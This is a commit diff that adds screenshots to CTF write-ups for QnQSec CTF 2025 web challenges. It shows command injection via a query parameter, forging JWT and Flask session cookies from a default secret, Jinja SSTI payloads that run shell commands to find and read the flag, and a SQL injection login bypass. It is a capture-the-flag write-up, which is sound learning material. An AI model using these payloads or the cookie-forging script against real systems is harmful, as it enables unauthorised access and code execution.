images of qnq web chals

Author: harshit-jain52

docs/QnQSec CTF 2025/Warmup/A easy web.md

@@ -28,12 +28,24 @@ CMD ["python", "app.py"]
 
 ## Approach
 
-The `index.html` tells to go to `/profile?uid=1`.
+`/`:
 
-That endpoint sayssaid that this is a guest user.
+![image](../media/easyweb1.png)
+
+`/profile?uid=1`:
+
+![image](../media/easyweb2.png)
 
 Tried running a script to check all uids from 1 to 100 -> no luck
 
-Guessed `1337` (because of its [significance](https://en.wikipedia.org/wiki/Leet)), and it worked! That endpoint was an admin page that provides a shell.
+Guessed `1337` (because of its [significance](https://en.wikipedia.org/wiki/Leet)), and it worked!
+
+![image](../media/easyweb3.png)
+
+Clicking on admin panel, we are taken to `/admin?cmd=whoami&uid=1337`:
+
+![image](../media/easyweb4.png)
+
+Typing commands in the text box and clicking "Run" gives "Access Denied". But providing commands in query params works!
 
-Using `ls` commands, found out the random name of the flag file and then `cat` it
+Using `ls -a` commands, found out the random name of the flag file and then `cat` it

docs/QnQSec CTF 2025/Web/QnQsec portal.md

@@ -167,11 +167,15 @@ if __name__ == '__main__':
 
 Firstly, a login screen is displayed.
 
+![image](../media/qnqportal1.png)
+
 From the source code, it's clear that we need to login as "Flag", but we only have its md5-hashed password. [John the Ripper](https://github.com/openwall/john) with `rockyou.txt` couldn't decrypt it.
 
-Registering with some username ("hello") and password ("world") and then logging in sets two cookies: `admin_jwt` and `session`
+Registering with some username ("user52") and password ("pass") and then logging in sets two cookies: `admin_jwt` and `session`
+
+![image](../media/qnqportal2.png)
 
-On [jwt.io](https://www.jwt.io/), decoding the `admin_jwt` cookie value gives a payload that contains `"user":"hello", "role":"User"`
+On [jwt.io](https://www.jwt.io/), decoding the `admin_jwt` cookie value gives a payload that contains `"sub":"hello", "role":"User"`
 
 ```python
 base = os.environ.get("Q_SECRET", "qnqsec-default")
@@ -181,15 +185,44 @@ app.config['JWT_SECRET'] = hashlib.sha256(("jwtpepper:" + base).encode()).hexdig
 
 On the same website, we can verify if a given JWT key is valid or not for the provided token. The SHA256 hash of `jwtpepper:qnqsec-default` worked! So, the value of `base` is `qnqsec-default`.
 
-Now, we can encode a new jwt token with `"user":"Flag", "role":"admin"`; and use Flask to create a new session token with `"user":"Flag"`
+![image](../media/qnqportal3.png)
+
+Now, we can encode a new jwt token with `"sub":"Flag", "role":"admin"`; and use Flask to create a new session token with `"user":"Flag"`
+
+![image](../media/qnqportal4.png)
+
+```python
+from flask import Flask
+from flask.sessions import SecureCookieSessionInterface
+
+def generate_flask_session(payload, secret_key):
+    app = Flask(__name__)
+    app.secret_key = secret_key
+
+    si = SecureCookieSessionInterface()
+    serializer = si.get_signing_serializer(app)
+
+    return serializer.dumps(payload)
+
+if __name__ == "__main__":
+    SECRETKEY = "40913aa300c33db34d976a59975adf18d90a246a" # SHA1 of 'pepper:qnqsec-default'
+    payload = {"user": "Flag"}
+    cookie_value = generate_flask_session(payload, SECRETKEY)
+    print(cookie_value)
+
+```
+
+Set these cookies to the updated values and go to the `/account` endpoint.
+
+![image](../media/qnqportal5.png)
+
+![image](../media/qnqportal6.png)
 
-Set these cookies to the updated values and go to the `/account` endpoint. Now we get access to the admin account, and a form is displayed which asks us to provide a *template* which it will render. This is obviously **SSTI**
+A form is displayed which asks us to provide a *template* which it will render. This is obviously **SSTI**. Verified by rendering `{{ 7 * '7'}}`, it outputs `7777777`
 
 Step-by-step payload to get the flag:
 
 ```text
-{{ request.application.__globals__.__builtins__.__import__('os').popen('ls /').read() }}
-{{ request.application.__globals__.__builtins__.__import__('os').popen('ls /app/').read() }}
-{{ request.application.__globals__.__builtins__.__import__('os').popen('ls /app/secret/').read() }}
+{{ request.application.__globals__.__builtins__.__import__('os').popen('find / -name *flag*').read() }}
 {{ request.application.__globals__.__builtins__.__import__('os').popen('cat /app/secret/flag.txt').read() }}
 ```

docs/QnQSec CTF 2025/Web/s3cr3t_w3b.md

@@ -459,6 +459,8 @@ EXPOSE 80
 
 Firstly, a login screen is displayed.
 
+![image](../media/secretweb1.png)
+
 ```php
 $query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
 ```
@@ -470,6 +472,8 @@ username: ' OR '1'='1
 password: ' OR '1'='1
 ```
 
+![image](../media/secretweb2.png)
+
 After logging in, a page opens which accepts an XML file and parses it. This is a sink for **XXE Injection**
 
 Working payload: